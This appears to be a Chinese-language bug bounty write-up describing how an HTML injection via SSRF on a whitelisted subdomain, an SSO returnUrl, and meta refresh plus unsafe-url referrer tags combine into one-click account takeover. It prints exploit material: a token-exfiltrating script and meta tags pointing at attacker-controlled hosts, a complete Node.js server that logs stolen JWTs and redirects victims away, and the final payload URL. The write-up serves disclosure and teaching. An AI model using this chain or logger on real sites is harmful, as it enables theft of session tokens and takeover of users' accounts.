从HTML注入到一键账户接管
作者:Marx Chryz Del Mundo
大家好,我是Marx Chryz,HTB CWEE、CPTS和CBBH认证通过者。本文将展示我发现的一个漏洞链,通过组合多个漏洞实现一键账户接管(1-click ATO)。这是一个类似CTF的漏洞。
引言
这是在某个有漏洞奖励计划的网站上发现的漏洞。由于是外部计划,我无法披露网站名称。截至撰写本文时,该漏洞尚未修复。因此,我们将目标网站称为redacted.com。
TL;DR:
- SSO流程接受指向任何*.redacted.com子域的returnUrl
- files.redacted.com在白名单中,且通过SSRF存在HTML注入漏洞
- 注入的HTML包含:
1
2
|
<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="0;url=http://attacker.com/logger">
|
- 受害者通过OAuth流程被重定向到注入页面
- 浏览器将完整的Referer(包含?token=…)发送到attacker.com/logger
- 攻击者捕获令牌并接管账户
- 利用过程为一键ATO - 无需JavaScript,无需进一步交互
HTML注入
我在网站上发现了一个存在SSRF漏洞的端点,这允许HTML注入:
1
|
https://files.redacted.com/proxy?url=https://google.com
|
我原本以为这是一个简单的XSS到ATO,但我错了,因为内容安全策略(CSP)禁止执行JavaScript:
1
|
Content-Security-Policy: default-src 'none'; media-src 'self'
|
现在该怎么办?如何实现账户接管?我暂时搁置了这个想法,转而研究网站的认证方法。
认证方法
由于应用程序由多个网站组成,它实现了一个SSO端点,在从一个网站切换到另一个网站时检索JWT令牌。
JWT被传递给请求中指定的任何redirectUrl。然后,该JWT存储在第二个应用程序的localStorage中。
这意味着要获取JWT,我们需要入侵SSO或找到XSS来窃取localStorage中的JWT。
探索SSO功能
经过检查,端点经过了适当验证,只接受必须匹配*.redacted.com的有效returnUrl。我尝试了100多种绕过方法,但都没有成功。
常见的白名单绕过:https://redacted.com.attacker.com
但后来,我想起了一些事情!files.redacted.com在白名单中,而且由于SSRF/HTML注入漏洞,我可以控制其内容!
窃取令牌
如果files.redacted.com没有CSP,我可以在我的服务器上托管一个JWT窃取器:
1
2
3
4
5
6
7
8
|
<script>
// 从URL获取token
const urlParams = new URLSearchParams(window.location.search);
const token = urlParams.get('token');
console.log(token);
// 将token发送到我的服务器
location = 'http://myserver.com/logger?token=' + token
</script>
|
URL:
1
|
https://app.redacted.com/api/sso/me?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
|
但由于CSP禁用了JavaScript,我们的利用在此失败:
1
|
https://files.redacted.com/proxy?url=http://myserver.com/ -> 失败
|
绕过CSP
我考虑过绕过CSP以启用JavaScript执行,但没有找到任何方法。
我考虑使用<meta>
标签覆盖现有的CSP头,但这仍然不起作用。因为浏览器更重视CSP头而不是来自<meta>
标签的CSP。
既然想到了<meta>
标签,我想到了另一个meta标签功能。Meta标签可以重定向用户:
1
|
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">
|
它起作用了,我可以将自己重定向到我自己的域。但现在该怎么办?
如果我可以执行重定向,如何窃取JWT?我仍然无法使用meta标签执行javascript。让我们更深入地研究重定向。
重定向有Referer头
当网站重定向到另一个网站时,第二个网站可以看到第一个网站的URL。
这意味着如果我在自己的服务器上有以下代码,并在SSRF漏洞中使用它,/logger可以看到初始URL的完整路径!包括参数中的令牌!
1
|
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">
|
Referer: https://files.redacted.com/proxy?url=http://myserver.com/
结合所有内容。一键ATO的最终URL是:
1
|
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
|
嗯,我以为它会工作,但它没有,哈哈。默认情况下,只有URL的主机名部分包含在Referer中。这意味着完整的路径和URL参数不会通过Referer头发送。这意味着我们无法获取URL中的JWT :(
完整路径和参数未包含。没有JWT :(
经过搜索,我们可以使用另一个meta标签来绕过默认的Referer行为!这个"unsafe-url"将发送完整的URL,包括路径和参数。
1
|
<meta name="referrer" content="unsafe-url">
|
最终利用
我的服务器配置
我使用nodeJS创建了一个简单的HTTP服务器,具有以下路由:
/
→ 包含2个meta标签
/logger
→ 记录Referer头并将其存储到logs.txt
/logs
→ 查看logs.txt的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = 3000;
// Route: / → 发送包含referrer策略 + meta重定向的HTML
app.get('/', (req, res) => {
res.set('Content-Type', 'text/html');
res.send(`
<html>
<head>
<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">
</head>
<body>
Redirecting...
</body>
</html>
`);
});
// Route: /logger → 将IP + Referer记录到logs.txt并重定向到redacted.com以隐藏行踪
app.get('/logger', (req, res) => {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress;
const referer = req.headers['referer'] || 'None';
const logEntry = `${new Date().toISOString()}, ${ip}, ${referer}\n`;
fs.appendFileSync(path.join(__dirname, 'logs.txt'), logEntry);
res.redirect('https://app.redacted.com/'); // 重定向回网站以隐藏行踪
});
// Route: /logs → 在HTML表格中显示logs.txt
app.get('/logs', (req, res) => {
const logsPath = path.join(__dirname, 'logs.txt');
if (!fs.existsSync(logsPath)) {
return res.send('<h1>No logs found</h1>');
}
const rows = fs.readFileSync(logsPath, 'utf-8')
.trim()
.split('\n')
.map(line => {
const [date, ip, referer] = line.split(', ');
return `<tr><td>${date}</td><td>${ip}</td><td>${referer}</td></tr>`;
});
res.set('Content-Type', 'text/html');
res.send(`
<html>
<head>
<title>Logs</title>
<style>
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #ccc; padding: 8px; text-align: left; }
</style>
</head>
<body>
<h1>Access Logs</h1>
<table>
<tr><th>Date</th><th>IP</th><th>Referer</th></tr>
${rows.join('\n')}
</table>
</body>
</html>
`);
});
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
|
一键ATO有效载荷
1
|
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
|
POC
当用户访问上述URL时,我们现在可以看到受害者的JWT。
报告时间线
- 2025年8月6日 — 漏洞提交
- 2025年8月8日 — 漏洞分类(标记为中等 😂)
- 2025年9月2日 — 发现绕过方法(他们标记为重复 😂)
漏洞奖励
HTML、SSRF、JWT、漏洞奖励报告